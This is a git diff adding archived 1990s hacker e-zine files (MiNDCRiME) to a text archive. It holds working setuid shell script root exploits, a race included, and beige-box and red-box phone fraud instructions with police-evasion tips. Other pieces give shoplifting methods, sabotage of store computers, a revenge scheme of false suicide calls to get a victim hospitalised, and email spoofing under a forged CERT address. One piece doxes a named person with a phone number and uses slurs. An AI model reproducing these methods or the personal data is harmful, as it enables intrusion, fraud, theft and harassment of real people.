read your .profile or .cshrc. + + On some systems, the shell is stupid enough to read and run $HOME/.profile +(or equivalent) even if it is running set-uid (effective uid != real uid). + + So, +% ls -l /usr/local/bin/setuid-shell-script +-rwsr-xr-x 1 root 51763 Nov 16 1993 setuid-shell-script +% cat > .profile << _EOF_ +cp /bin/sh /tmp/fuck +chown root.wheel /tmp/fuck +chmod 4755 /tmp/fuck +_EOF_ +% ln -s /usr/local/bin/setuid-shell-script -gotcha +% ./-gotcha +% /tmp/fuck +# + + You got it! And there is another easy-to-exploit bug with set-uid shell +script. +% ls -l /usr/local/bin/setuid-shell-script +-rwsr-xr-x 1 root 51763 Nov 16 1993 setuid-shell-script +% ln -s /usr/local/bin/setuid-shell-script -i +% ./-i +# + Try it and think how it works (or it doesn't work ;) ). + + Now for the second security hole. It works on almost all #! systems. +Not only with shell scripts. When the kernel execs a file, it looks for +a magic number in the first two bytes ( try % man a.out ). If the magic +number is '#!', then it takes the next one or two tokens, execs file +into which token parsed, with the full pathname of the script as an +argument. ( get the kernel source of BSD unix and check exec.c ) +So if /user/crash/dummies starts with: + +#!/bin/sh + then the kernel, in the process of loading this, would do: +execute "/bin/sh /user/crash/dummies". In other words, /bin/sh would +have /user/crash/dummies as argv[0]. If it was +#!/bin/csh -f + then the kernel would execs "/bin/csh -f /user/crash/dummies" + + The important thing to note here is that the shell re-opens the file +fo itself. The kernel does not pass an open file descripter to shell. +The race condition arises here. + +% ls -l /usr/local/bin/setuid-shell-script +-rwsr-xr-x 1 root 51763 Nov 16 1993 setuid-shell-script +% ln -s /usr/local/bin/setuid-shell-script hack-link +% cat > hack-commands << _EOF_ +cp /bin/sh /tmp/fuck +chown root.wheel /tmp/fuck +chmod 4755 /tmp/fuck +_EOF_ +% ./hack-link + + So the kernel stat()s hack-link. stat() follows the link and see the +set-uid bit set with setuid-shell-script and the owner being root. So +the kernel sets uid to root (check exec.c, you can find this routine). +Then it executes the following command: + +/bin/sh /user/danny/hack-link +with uid set to 0. + The uid-zero shell opens /user/danny/hack-link. The open() follows the +link and opens the file at the other end (/usr/local/bin/setuid-shell-script) +and executes the commands from it. Still no security hole. + But what if while the kernel was doing this, you did: +% rm mylink; ln -s /user/danny/hack-commands /usr/danny/hack-link + Now when the kernel followed hack-link, +it found /usr/local/bin/setuid-shell-script. So it set uid to 0. But the +time the /bin/sh follwed hack-link to open it, it find it was linked to +hack-commands, not /usr/local/bin/setuid-shell-script. So it execute +hack-commands as root. + + Now you will almost certainly not win such a race with the kernel. + +But you can increase the probability of win a race by increasing +system load (i.e. execute X application, compute complex math problem) +and doing race with fast and optimized C program. + +The moral of story: DO NOT SET-UID ANY SCRIPTS. + diff --git a/textfiles.com/magazines/MINDCRIME/mc-04.txt b/textfiles.com/magazines/MINDCRIME/mc-04.txt new file mode 100644 index 00000000..db19633f --- /dev/null +++ b/textfiles.com/magazines/MINDCRIME/mc-04.txt @@ -0,0 +1,75 @@ +================================[MiNDCRiME]================================ +[FiLE #4:] + MiNDCRiME Presents: + + Asshole of the Month + + The Official Anus Emmy + + Presented to: blootin + + Runner's up: Solctice, heretic, b1tchez. + [Pretty soon, Solctice will be like Whitney, snagging + all the awards..] + +================================[MiNDCRiME]================================ + + _____ _____ + |_ _| Roses are red, |_ _| + n (O O) n Violets are blue, n (O O) n + H _|\_/|_ H You fuxed with me, j00 H _|\_/|_ H + nHnn/ \___/ \nnHn So fux yew, times 2!! nHnn/ \___/ \nnHn + + \__\/| |\/__/ \__\/| |\/__/ + +================================[MiNDCRiME]================================ + + MiNDCRiME Presents: + Narq of the Year + + The Official Trust Me Not Emmy + + Presented to: Skipjack + + Runners up: pX (email me for his inpho) + + Hark! I am a narq! + + Of stark nature and poise, + I lurch silently amongst the noise. + + Your info, haveth I + Dick size, hair color and cbi + Watch me, j00, I am a spy! + + When u fux up, you will hear, + Skipjack narqed you out, sweet and dear. + + Fux with me not, + For I shall narq, + Destroy your family, will I do + Just for fuxing with me on IRC, j00. + + + +================================[MiNDCRiME]================================ + + MiNDCRiME Presents: + + Fag of the Century + + The Official Buttfuck.Com Emmy + + Presented To: Solctice + + Runners up: no one, he won by a long shot. + + + I don't even know where to begin. Why don't you call him yourself: + + Jim Reinknecht (Solctice) 908-832-6633 + + [I know it's lame, but considering the numberous times he + put my info up on irc... Merry Christmas, fucker.] + +================================[MiNDCRiME]================================ diff --git a/textfiles.com/magazines/MINDCRIME/mc-05.txt b/textfiles.com/magazines/MINDCRIME/mc-05.txt new file mode 100644 index 00000000..a52d3853 --- /dev/null +++ b/textfiles.com/magazines/MINDCRIME/mc-05.txt @@ -0,0 +1,110 @@ +================================[MiNDCRiME]================================ +[FiLE #5:] + + eASE dROPPING aND cARDS + y---[MiNDCRiME #2!]---y + aRTICLE tYPED bY iP?! + _ _ _____ 12.o4.94 ]____ _ _ + +Every now and then, those of us who take the time to be +observant stumble across something remarkable. Let me +relate to you one of those experiences. +It was an all too lazy sunny afternoon in Indiana. I +was bored, and I decided to listen to my Realistic +PRO-2004 scanner. I flipped it on and scanned through +the usual federal government, military aviation, and +cordless phone frequencies, but there was no action to +be found. I happened to come across some scrambled DEA +transmissions and a droning cordless phone conversation +by some neighbors I could not identify. So for a +change I decided to scan through the marine radio +channels. The scanner then stopped on marine radio +channel 26, which is used to ship-to-shore telephone +calls. A man was reading off his calling card number +to the operator, who gladly accepted and connected his +call. Calling card numbers over the airwaves! I was +shocked -- astonished that such a lack of security +could not only exist, but be accepted practice. + +I began mointoring marine telephone to find out more, +and it turns our that using a calling card for billing +is commonplace on VHF marine radiotelephone. People use +calling cards for billing all the time. That's what +the are for. But is it that big of a deal? [k0d3z!] +You bet it is. Marine telephone uses two frequencies, +one for the ship and one for the shore station. +[obviously] +The shore station transmits both sides of the +conversation at a some-what considerable power, enough +to offer reliable communications up to 50 miles +offshore. Anyone with a standard police type scanner +costing as little as $100 can listen in. People using +marine radiotelephonecan be broadcasting their calling +card number to a potential audience of thousands. +[k0d3z] And that just shouldn't be happening, but it +is. [I won't complain] And there is no doubt that +calling card fraud is occurring because of this lack of +security. + +From the phone compant's [many Bell and non-Bell +companies provide marine telephone service] point of +view it must be a trade-off for customer convenience. +You see, there just aren't that many ways to bill a +ship-to-shore call. Most calls are collect, a few are +billed to the ship if they have an account, and a few +go to third party numbers [hehe] or other special +accounts. .. Sometimes the operators have trouble +verifying billing information. I monitored one man, +who after racking-up $40 worth of AT&T charges was +informed that they couldn't accept his international +account number. The operator finally coaxed him into +giving a address for billing. Calls are often billed +to third party numbers with verification [hmm], but +calling cards make billing easy for both the customer +and the phone company involved. It would also be +tricky for a company to not allow calling card use +[very tricky]. Doing so would be a inconvenience to +customers and would force them to admit a lack of +communications security. Of course people using marine +radio should already realize that their conversations +aren't private, but announcing the fact wouldn't help +the phone compant at all. In fact, people may place +less calls. + +The convenience offered by calling cards makes them an +easy target for fraud. They can be used by anyone from +any phone and with a variety of different long distance +carriers via 10XXX numbers. No red of blue box +hardware necessary here, just 14 digits, but of course, +the number won't be valid for long after all those +strange charges start showing up on someone's bill. It +should be noted that when a calling cafd is used, the +number called, time and date of call, and location [and +often, the number] from which the call was placed are +printed on the bill. A fraudulent user could be caught +via that information if they were careless. Also, some +long distance companies may contact the owner of the +card if they notice and unusually high number of +charges on the card. .. Long distance companies bear +with the brunt of the bills caused by calling card +fraud. However, if you read the fine print, the cards +offered by many companies have a certain minimum amount +that the customer must pay, say $25 or $50. [I have yet +heard of a case where a phone compant got away with +charging a customer when the only thing stolen was a +number and not the card itself] .. So, whats the moral +of the story? Simple. Be damn careful what you say +over any radio, and that included cordless and cellular +telephones. + +Also, be careful about how sloppy you are when using +cards. If you are using a calling card, enter it with +touch tones. =) If you happen to make VHF marine +radiotelephone calls, bill collect or charge to your +phone number as you would to a third party number -- +without the last four calling card digits. For the most +part radio communications are easy to intercept, and +keeping them secure is up to you. Then again, it gives +hackers and phreakers the cutting edge, and I must say +no one is in any situation to bitch or complain. + diff --git a/textfiles.com/magazines/MINDCRIME/mc-06.txt b/textfiles.com/magazines/MINDCRIME/mc-06.txt new file mode 100644 index 00000000..c9983a0f --- /dev/null +++ b/textfiles.com/magazines/MINDCRIME/mc-06.txt @@ -0,0 +1,111 @@ +================================[MiNDCRiME]================================ +[File #6:] + + [This is sortof an example of what NOT to send us. I posted this + because the author was kind enough to send it and because it's kinda + funny. In the future, folkx, please only send h/p related files. -hc] + + + How to mess up department store Macs + By C-D and Walrus + + Messing up department store Macs is a fun a wholesome activity + that can be enjoyed by the whole family. Some of these might + be to complicated to do in a store without people getting suspicious, + but they are fun anyways. Here's some favorites! + +* Make a copy of the system folder, leave it next to the other system + folder. This will screw up the system, and to boot you will need + a system disk. + +* Make tons of copies of all the extensions in the extension folder. + This makes the startup a very slow one, and could cause conflicts + +* Bring a modified system and finder from home. You should have + edited it with ResEdit, for example make the "Are you sure you + want to empty the trash?" dialog into something like "The gamma + correction buffer on this monitor has failed, please step away + from the monitor and seek help from a qualified technician". + +* Get a startup pict + of a dialog box saying "Are you sure you wish to purge your ROM? + This process is irreversible" and have the cancel button grayed out. + A couple more you could try: + +* Switch the empty and bulging Trash icons, so that the trash looks + empty when it contains files, and bulges when empties. + +* Edit the balloon Help text strings (most of the are in easy-to-access + STR# resources so that pointing to a window's Close box produces + a help balloon that says "click this box will cause + irreparable damage to the motherboard" + +* Edit the MENU resource to turn a separator line in a menu into an + alluring new menu command (like "Double Processing Speed") that + doesn't work. + +* Use ResEdits MENU editor to change all text in menus to white, + rendering the commands completely invisible. (they still work, + you just can't see them) + +* Replace the standard alert box icon with the System Bomb icon. + +* Re-map the keyboard so that pressing any key produces a semi-colon. + +* Change the names of an applications menus, so that the File + menu contain the Format commands and vice-versa + +* Install a desktop pattern consisting entirely of Trash can icons, and + then hide the trash in the pattern. + +* Create a startup screen that features a realistic System bomb message, + urging the user to restart the Mac immediately. + +* Switch the trash and hard drive icons, give them each others names. So + much fun to watch them trash the whole hard drive. + +* To crak At-Ease, simply hit the programmers switch and type G FINDER . + + This will quit At-Ease and return you to the finder for your hours of + wholesome fun. If you don't have a programmers button, you can also + try command power which might + or might not work. + +* If you really want to down the Mac, make some files in teach text + (about3-5). Name them all .sony . Put one on the desktop, one in + the first HD window, one in the System folder. If you have any left, + sprinkle them gingerly through the System folder. Restart, and the + Mac will attempt to use the files as Hard Drive Drivers. This can + completely corrupt the hard drive, its tons of fun. + +* Unplug and plug back in the ADB cables, this makes all the ADB devices + work very oddly. + +* Randomly unplug cables, and plug them back into other sockets. Its + great to see the expressions on sales peoples faces. + +* Switch the keyboard type in the control panels, this will mess up + everything you type. + +* Take an old disk and bend the metal sliding cover thing a bit out. Put + the disk in, and then try to eject it, if it came out bend the + metal more and put it in again. This works like an arrow or fishhook, + it goes in but does not come out. + +* Push the restart button, and then repeatedly push the programmer + button while the startup sound is playing, then leave the computer + sitting with the sad Mac. + +* Remove the monitor cable just a bit, so that everything appears green, + or red, or purple=8Apsychedelic! + +* Name the finder 'finderL' Restart and run away, watch as dumbfounded + salespeople open the case to make sure the HD is really there. + +* Make all the icons that are root folders invisible , and name + them with=spaces. Watch the clerks go nuts! + + If you want to get in touch with us, we are C-D and Walrus on IRC, + have phun... :) + +================================[MiNDCRiME]================================ diff --git a/textfiles.com/magazines/MINDCRIME/mc-07.txt b/textfiles.com/magazines/MINDCRIME/mc-07.txt new file mode 100644 index 00000000..805a0613 --- /dev/null +++ b/textfiles.com/magazines/MINDCRIME/mc-07.txt @@ -0,0 +1,287 @@ +==== Phreaking, a Begginers Guide +==== By: WyreTapp +==== Nov 25th, 1994 +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + +Disclaimer: Every phile needs on of these. :( I, Bud Wieser, and the + contributors of this document are not responsible for any + damages caused by the use of it. In no way do we condone + or encourage (hehe) you, the reader, to put this information + into practice. + +Intro. +-=-=-=-=-= + Lame ass right?? Well FUCK YOU! There have been tons of philes +written on boxing, but I felt like writing one too. Its a good way to learn +how to write, and you seem to remember everything quicker. So, im gonna +share my experiences with you readers, so that you too may cope with the +crude and harsh remarks from the city-boyz on the net. Have fun, and enjoy. +All of this HAS BEEN DONE AND WORKS IN MY AREA. I will not include a bunch +of theoretical BS that MAY work- only the real thing for the real peoplz. + +Whats phreaking?? +-=-=-=-=-= + Good question. Its the abuse of a phone system. It usually involves +stealing from the phone company, or a person; resulting in lotsa phun. + There are many branches of phreaking, with many sub-levels. You +will probably find that you cannot do everything in your area. This is +mainly because of new security features installed, and the wide-spread use +of the Digital Switching System. You may want to phreak just for phun, +or, you may want to hack some local place without getting caught. For +whatever reason, it never hurts to know. :) + +Sounds phun- what do I do? +-=-=-=-=-= + This is REALLY easy. The first thing your going to want to do is +build yourself a tool known as a BEIGE BOX. This is probably the MOST +usefull tool around (the Red Box MIGHT be in your area). Before I go into +any depth, I will tell you how to make one + You need + ---------- + 1 piece of phone cord (with a plug on each end) + A set of wire cutters + 2 Alligator Clips (Of diffrent colors) + + Assembly + ---------- + 1) Grab phone cord in left hand. + 2) Grab wire cutters in right hand. + 3) Cut off the plug on one end of the phone cord. + 4) Attach the alligator clips to the RED and GREEN wires. + (May be BLUE and WHITE) + 5) Pour beer on cat. + + There ya go, a Beige box. It should look something like this. + >-. ________________________,---. + ---> `====`------------------------;___| <--- Plug (Jack) + Clips >-' ^Phone cord + + If you can't figure this out, stop reading, get a LONG peice of +rope, make a noose, tie it too a friends car, stick your head in, and tell +your friend to step on the gas. + Now what- You got yourself this phone cord with alligator clips +on one end. What will you do with it?? Read on. + Get a phone. The best kind is a hand-set that requires no base. +These are much eaiser to store, and can be connected/disconnected with great +ease. Plug the JACK end of the Beige Box into the phone. You now have +a linemans handset. + + +Where to use. +-=-=-=-=-= + + The next step is too find a place to use your new toy. Go outside +and walk down the street. See those telephone poles? If you dont, then you +got yourself an under-ground wire. These can be very difficult, or very +easy. Look around for a man hole that has your telco's initials on it. +The man-hole will be slightly bigger than the others around it. After you +have found it read on too the "Canning" section. + + If you do see telephone poles, try following them. Remember that +the lower wires are CABLE and TELEPHONE. The power lines SHOULD have an +insulator (a piece of ceramic) holding them away from the pole, so you should +be able to tell. + Follow the lines until you see wires running off into someones house. +Follow the line RIGHT into their yard. Check and see if it goes into their +roof. If it does, then keep moving: If it goes down the side of their house +you just found yourself a "spot". Most likely, you will find a Grey +colored box, about 4"x4"x2". Locate it, and push UP on it, to slide it +off. Once you get it off, it should look similar to this (it may have +4 prongs which means it has may have 2 linez) + + ,-------------------. + | | + | Bolts | + | | | + | __ <-'-> __ | + | | | | | | + | `--'--. ,--`--' | + `--------|`'|-------' + | | <-- Main wire. + ` ` + Attach the RED alligator clip (from the RED wire of the phone cord) +onto the LEFT bolt, and the GREEN clip onto the RIGHT bolt. You SHOULD +get a dial tone. If you dont, then reverse the clips. + If the box has more than one set of bolts, attach the clips to the +bolts that are on the same horizontal plane (Ie: Two top, or two bottom bolts + + +not one top and one bottom) Confuse you yet??? You'll figure it out. + It is likely that you will find one of these on a phone pole. If you +do, get ready for some fun, because that is probably a test line owned by +the phone company. You can make all the calls you want, and never have to +worry about someone else picking up the line. + + Sometimes, on apartments, you will find a silver box about a foot +long. There are SHINY METAL (Not grey plastic). You can open it by sliding +it to the right. It will unlatch and spring open, revealing a staggered +arangment of bolts, OR prongs. It will look something like this. + + ,------CASING-----------------. + | | + | __ | + | | | | + | ,---`--' <--- Bolts | + | | __ | + ____.' | | | + Main Wire-> ____'-------------- `--' | + | `. | + | `.__ __ | + \|/ | | \|/ + These can be a little tricky, because most of the time all of the +prongs arnt used, and the telco guys are lazy. Just keep trying combo's +until you get a tone. You would think that you would just stagger your +way down, BUT Ive only seen ONE that was done like that. :( + They are found often near the top of telephone poles. It isnt +really a good idea to go up there, because if someone catches you, you have + + +no where to run. Even if you live in the sticks, SOME COP is gonna drive by +and ask you what your doing (Trust me.. :( + + +Green Cans +-=-=-=-=-= + + After you get the hang of those (they are your LAST resort), keep +following that phone line. Eventually, you SHOUD come to a place where +that BIG line (on the phone poles) goes down into some pipes on the side +of the pole and underground. THIS IS WHAT YOU ARE LOOKING FOR! Look around +for another place like this CLOSE by. If you find it, somewhere around your +area is a "Mother Load" or "Green Can". It may be underground. As mentioned +before, look around for the man hole with the Telco's initials on it. + The mother load is usually a grey-green in color, though I have seen +grey ones. They look ALOT like swing-open filing cabinets. + + Now, get out your 7/16" wrench (Good thing you read the WHOLE text +file before you went out) and twist the bolts on the silver hands +counter-clockwise (There are arrows printed on the silver handle). + + Got it open? Awesome 'eh? (Yes, Im Canadian) All those wires, +those white plastic bars, those wierd looking toolz hanging off the side +of the doors, the instructions on how to use them... Yes, the +instructions. Read them. Write down any phone numbers written down on the +inside of the can. + Look for a regular phone jack. They are USUALLY test lines. A +source of worry-free amusement. If one exists, use it. Why bill someone +some money when you can do it too your telco. + If there is no phone jack your going to have to use one of the tools. +Use the one on the left. It looks really fuqing wierd. Now randomly pick +out a plastice bar, and open it. There should be tabs you press to have it +flip open. You just opened a terminal. look at it terminal closely. +You should be able to see bits of bare wire if you look at the slits on the +top of it. When you find one that has the wire in it, plug in the test tool. +There are two little spikes that fit into hole on the FRONT (not the top) of +the terminal, and you can slide the latch of the tool of the face of the +terminal and hook it onto the back. + Attach your beige box two the bolts at the base of the tool. If you +dont get a dial tone, swith the alligator clips. If still no tone, try +another bank on the terminal. + Before you go phreak-happy, GRAB THE WIRE. There should be a spool +of wire somewhere in the can, usually resting in its own little stand. +TAKE IT. It is VERY VERY usefull. + +General tips beige boxing. +-=-=-=-=-= + This is what I want to stress. How NOT to get caught. + Here are a few rules you should follow: + --------------------------------------- + 1. Do everything suspicious late at night + 2. Keep away from noisy dogs + 3. Keep away from hot spots (lotsa cops) + 4. Keep away from party zones + 5. Keep quite + + You should be sure to wear a lighter colored shirt underneath +a darker colored shit. That way, if you DO get seen, you can whip off +the dark shit, and appear to be a diffrent person. + Remember that spool of wire you got? Well, try running your +connections away from civilization (across the road and down the ditch). +I ran over 400 meters of wire into the woods once, and had no connection +problems. Be sure to watch out for cutting the line, and shorts (if you must +strip the wire in more than one spot) + To make your life easier, try getting some heavey-duty clips with +wires hanging from them and a clip on the other end. You can attach these +to your connection, so you can clip on without opening anything up later, +and disconnect without having to go back to the site (just yank). + If you get stopped by the police (on a routine stop), try and +be REALLY polite. Answer any questions the guy may have UNLESS it starts + + +getting to the "I know Im caught" point. Lie about your name of course. +If you are carrying a bag and he asks to see whats in it, SHOW him, but dont +take anything out of the bag. Just open it so he can look in. If he says +something like "Would you come with me?", say "Sure.." and when he turns +around RUN!!! (A good reason NOT to drive directly to your site). + Here is a little list of things you should get if your going to +get into phreaking. + WyreTapps List o' Stuff + -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + 1. A friend. Its always funner if u got a friend with you. + 2. Pliers, Wire cutters, 7/16" wrench, flash-light and a knife + all attacked to a rope or something- so you dont have to dig + for them. + 3. A back-pack. + 4. A spool of wire (the 300meter phone stuff from the can) + 5. A spool of little wire (for loose connections and tying) + 6. Extra alligator clips + 7. 4 Industrial strength clips with wires attached (you will find + a use.) + 8. A hand-scanner (to scan the police channels. Its nice to know + if you've been caught early.) + 9. Walkie-Talkies. Nothing expensive. Just so you can communicate + with your friend (ie: setting up a connection and a cop comes. + Your friend is 200 meters away, and cant yell or you'll both + get seen.) + 10. A binder, with paper and a pen attached to it. Really nice to + have. + +Red Boxing +-=-=-=-=-= + A red box is something that plays the quarter sound. Whenever + + +you drop a quarter into a pay-phone, it makes a series of beeps which +signals a quarter has been dropped in. (There are dime and nickle sounds 2) + You can make this sound without the quarter. :) But, alas- Most +telco's are smart and buy NEW payphones that have the ground check. When +a coin is dropped into the phone, it grounds it so that the pay-phone knows +you dropped money in. + Before I tell you how to by-pass the ground test, heres how to make +a red box, the EASY way. + + Get one of those halmark greeting cards, or talking pictures, or +record-your-greeting christmas ornaments and record the tone +into it. + How do you get the tone?? HAHAHA. Remember your beige box? +Look around the pay-phone for one of those little grey boxes or a phone-jack. + + +Plug your beige box in, and drop a quarter into the pay phone. The tone +will be played through your phone REALLY loud and clear. Just record this +into your aparatus. + Another way of doing the tone without a redbox, is to use your +beige box as mentioned above, and put the ear-piece to the mouth-piece of + + +another payphone. + To bypass the ground check, just drop a nickle into the slot + +(which may sometimes be enough for local calls- no red-box needed), OR: + Look at the mouth-piece. Alot of holes in it. Is there +a hole in the direct middle?? If so, drive a tack into it, and run a piece +of wire from the tack to the hook (the thing that holds the phone up when +you hang it up). Hang-up the phone for about 2 seconds, and that will +ground the phone so you can play your tones into your beige box, with a +grounded phone. :) + Sometime you can just ground the phone to make local calls, but Ive +only seen one phone that'll do that (in an OLD dorm). + +Conclusion +-=-=-=-=-= + I was hopeing on writing some stuff on Calling Cards, how to +setup a teleconfrence (just dial 0 and ask for help) and Voice Message +systems but I think this article is long enough for now. I ny next +article I will discuss the above and after that I will go into Unix Hacking. +Greetz to: Z0rpHix, Tonyhawk, Endlisnis, Wildman, QwikSilver, Dark and + jUIcE. diff --git a/textfiles.com/magazines/MINDCRIME/mc-08.txt b/textfiles.com/magazines/MINDCRIME/mc-08.txt new file mode 100644 index 00000000..bdea9d21 --- /dev/null +++ b/textfiles.com/magazines/MINDCRIME/mc-08.txt @@ -0,0 +1,134 @@ +================================[MiNDCRiME]================================ +[File #8:] + +[This is an example of what NOT to send. The article is nice, but it + doesn't go with h/p. In the future please only send h/p related articles + to us. Unless u have a really unusual how-to, send only h/p. -hc] + + ______________________________ + |[][][][][][][][][][][][][][][]| + |[] []| + |[] /\ []| + |[] \ []| + |[] \TEALING COMIC BOOKS []| + |[] \/ []| + |[] []| + |[][][][][][][][]][[][][][][][]| + ================================ by: kid Eternity + + For those of you who collect comic books, you probably know + that it can be an expensive hobby. For those of you who don't collect + comic books, trust me. Even if you don't collect comics, this file may + be of some use to you. Comic books, like basball cards, can be(come) + very valuable; so you could acquire and sell comic books, or give them + away to friends, relatives, etc. Also, to those of you who don't collect, + I suggest you start- its damn fun. There are comics for everyone. + +===- + + First, you'll need a place to steal comics from. This could + be a local bookstore or a supermarket with a comic book stand. But, + the Best place would be either a comic bookstore, or a comic book + convention. + In a place like a bookstore or a supermarket, you could + hide the comic book(s) inside on another, in another book or magazine, + or just take it. When I say 'just take it', i mean discretely, like + hiding it or something. Stick it under you shirt/jacket, whatever. + The best way is to roll the comic book (gently!!! if you bend it, + it may not be worth shit!) a little, then stick your hand and forearm + through it, then put your sleeve over that. That may seem a little + complicated, but I've found it to be the best/most discreet way. + Or you could always walk out of the store it. + + Many times people won't even think that you are stealing it. + If they do, just say that you bought it somewhere else. If you are + going to say that, you may want to bring along a bag from a comic + bookstore plus make up a fake receipt on your home calculator(on that + you can print up numbers and shit on), or you COULD do it with your + computer/printer. If you bring along the bag, you'll probably get + away with taking more stuff. + + STORES & CONVENTIONS + Comic book stores and conventions are sometimes better to steal + from because you can get older/more valuable/more rare comic books than + at a bookstore or something. + + Choosing the store is very important. You want to find a store + that is poorly run, somewhat spacious, and does not have any employees + walking around watching you. At most of the larger comic book stores, + they'll have a television with some sort of sci-fi movie playing, if + you've seen the movie before, you're in luck. The employees are usually + watching the movie. Listen to the employees talking to see if there is + a part of the movie that they especially want to see. If that part isn't + too far away, you'll want to make your purchase RIGHT before it comes on. + + It also works to your advantage if the employees are having a discussion + If you are a veteran collector, and there is a particular store + you hate, because of the owner being an asshole, Whatever, you'll probably + want to hit this store. + + Once you have found the comics you want, you can try a few different + things. If you didn't already know, in comic book stores, all back issues + are stored in a plastic comic-sized bag with a thin piece of cardboard o + the back (but inside the bag) to keep the comic book safe. One thing + you can do is get some newer issues off the new issue rack-section-type- + thing, then open up the comic bag, look through the comic book a little + (as if you are deciding whether or not to purchase it) then, as you + are putting the comic away, put a new issue or two inside the bag also. + Remember to put these behind the back issue that was originally in the bag. + Then look around a little longer, then casually go and buy your comic + books. + Another thing to try is somewhat easier, but requires more + planning, and only works if you have some experience collecting. + First of all, you'll need to find a comic book worth stealing. + You don't HAVE to for this plan to work, it may even work better if + its any old comic, but its just not worth it unless you find a comic + worth stealing. I suggest a comic in the $20-$60 price range. Also, + and this is the important part, make sure that it is either not very + popular AT ALL, or that it has 2nd, 3d, etc printings that look exactly + the same as the first printing. Next, go to the comic book store and + find that comic book and check to see if they have 2nd or 3rd, etc, + printings that are cheaper than the first printing. Remember how the + price label looks (you may even want to take a piece of paper and copy + it right there - say you're checking how much comic books are in a couple + of places to compare prices or something), now go home and make that label + again. The next day, go to the store and put that copy of the label + that was on the later printings on the FIRST printing (right over its + old label). Now the first printing looks like a later printing, and + has the same price as a later printing. Now, just like before, wait til + the employees are preoccupied, then make your purchase. You may want to + buy some other comics at the same time so they don't get suspicious. + + For those of you who collect comics: a perfect comic to do this with + is the Vampire Lestat #1. + + Conventions can be handled somewhat the same way as stores, but + there are usually more people watching you at all times at a convention, + so it can be much harder. An essential at a convention is a bookbag and/or + a binder. The best thing to do at a convention is to look at the boxes + that the dealers have set up under the table; the larger dealers usually + keep the stuff they couldn't fit on their table under the table. While + under the table, keep your bag right next to you, OPEN. Take out some + comics that you'd like out of the box along with some others, proceed + to look at some, then put some down next to the opening of your bag, + and when no one is looking casually, but quickly, slip them into your bag. + But using methods like those above work too, especially putting + comics in a bag with other comics and buying just one (with the others + in the bag). You can find conventions by looking in comic book price + guides or magazines(Wizard, Comics Vaules Monthly, Comic Books Buyers + Guide, etc), in a section entitled 'Conventions!'' or something + self-explanatory like that. + +===- + There are more methods than I've described above, but some were + little complicated, some too simple, some just variations on stuff above + and some i just didn't feel like putting in. Again, if you don't collect, + I suggest starting a little before trying any of this, just so you have the + general feel of being at a store and/or a convention; and also cuz its fun. + For those of you who do collect, be careful and not too greedy. If + you have any other ways to get comics, problems with what I wrote, + questions, etc, please leave me mail or talk to me on IRC or something + like that. Cya l8r.... + + kid Eternity - eternity@phantom.com +... diff --git a/textfiles.com/magazines/MINDCRIME/mc-09.txt b/textfiles.com/magazines/MINDCRIME/mc-09.txt new file mode 100644 index 00000000..a740212a --- /dev/null +++ b/textfiles.com/magazines/MINDCRIME/mc-09.txt @@ -0,0 +1,244 @@ +================================[MiNDCRiME]================================ +[FiLE #9:] + Getting Even + The Sequel Your Momma Warned You About. + by h0wcum + + Revenge is an art. Cristian belief is to forgive one another, but +my persoanl belive is to make the fuxers pay for even the smallest +mistake. The mistake being fuxing with you. Life is short, unfair and +painfull and I don't have time to waste getting fucked with. So, to make +life a little more interesting, I sit around conceiving and implementing +revenge tactics. Your anger must fuel you. It it the primary driving +force in seeking revenge. The anger must come from severe intolerance of +getting fucked with. + + I will discuss a few more revenge tactics in this edition. I'd +like to point out that some are illegal, and some are not. Wether or not +they are illegal, the do not make a good story to tell a cop, so watch +your ass and don't get busted. I will not be resposible for your +implementation or failure to implement these tactics. + + Most of these tactics I will discuss require knowing your mark's +name and possibly his or her address. + +"They're Coming to Take Me Away!" + This tactic definately requires knowing your mark's name and +address, or atleast his name. The first time I pulled this one off, I did +it from half way across the country. It's great for laughs and it will +really ruin your mark's day. + Find the name of a radio station local to your mark. This isn't +really hard. Find someone in the area to tell you or get it out of +directory assistance, or you can order a set of yellow pages for your +mark's area. (always a good idea as it comes in handy. I have about 10 +foreign phone books.). Call that radio station at night, but when you +expect your mark to be awake. You will pretend to be your mark. Act +really upset and paranoid and threaten suicide. BE CONVINCING! Talk of +how the world is against you and you have a gun pointed to your head, or +better yet, say you popped a huge ammount of pills and time is running +out on you. Use your imagination. + If you are certain your mark is not listed in the phone book, +reluctantly give him your address (yes, he will ask repeatedly). Atleast +give him your name. He will call an ambulance on the other line while you +talk. It is especially usefull to use the pill method here because if the +EMT's think you are dying, they will be more forcefull in hauling your +mark away. + If all goes well, the EMT's will be hauling your mark away to the +local mental hospital for a 24 hour stay of observation. This is required +by law in some areas. Of course your mark is going to deny it, but the +doctors will expect that, and it will keep him in longer if he does in +fact get taken. The worst case scenario here is that the ambulance shows +up, and leaves without him. Even if that happens, you can rest assured he +will not be very happy. + Suicide threats to radio stations are taken very seriously, so it +is probable the EMT's will aguire your mark no matter how much he denies +being suicidal. When I tried this, mr. mark was away for 2 days. (I sent +him flowers) + A variation of this tactic would be to call the ambulance and +skip the radio station. You can make up any medical situation, or you can +be suicidal to them. If you do, act really out of it, keep forgetting +things and being contradictory. Make them think you can't remeber from +one minute to the next. That way, they won't believe your mark when he +claims not to be suicidal. neighbors get a kick out of watching ambulances. + + +PART B: Supplimental Toolz: Fake mail and fake news. + + Now before you kiddies get going on this, I know this is old shit. +I know it's been done before and I am merely posting it for the less +informed, so spank me. + + Just about every system on the net has a mail daemon running, the +process which handles incoming and out going mail. You can usually connect +to these daemons (on just about any system) by telnetting to port 25 of +that system. Ex: + +telnet buttfuck.com 25 + + I'll show you a sample session. Lines beginning with are +what you would type (duh). + +220 gold.tc.umn.edu (Mail*Hub TurboSendmail) Service ready + + helo root@cert.org +250 gold.tc.umn.edu G'day MATH1.CIMS.NYU.EDU! Why do you call yourself +root@cert.org? + + mail from: root@cert.org + +250 root@cert.org... Sender ok + rcpt to: h0wcum@cyberspace.net + +250 h0wcum@cyberspace.net... Recipient ok + data + +354 Enter mail, end with "." on a line by itself + To: h0wcum@cyberspace.net + Subject: repeated breakin attempts. + + This is an automatic warning generated by a security daemon. + Warning is hereby given to you that unless you cease from your + unlawful activities on the network, criminal charges will be + sought against you. + + This is your final warning. The FBI has been notified of + your activities. + + You need not reply to this, but should you have any questions, + you may call us directly with this reference number: Q3-23-A. + + Have a nice day. BITCH! + . + +250 Message received and queued + quit +221 Until later buttfuck.com + + + Now this isn't totaly untraceable. If any of 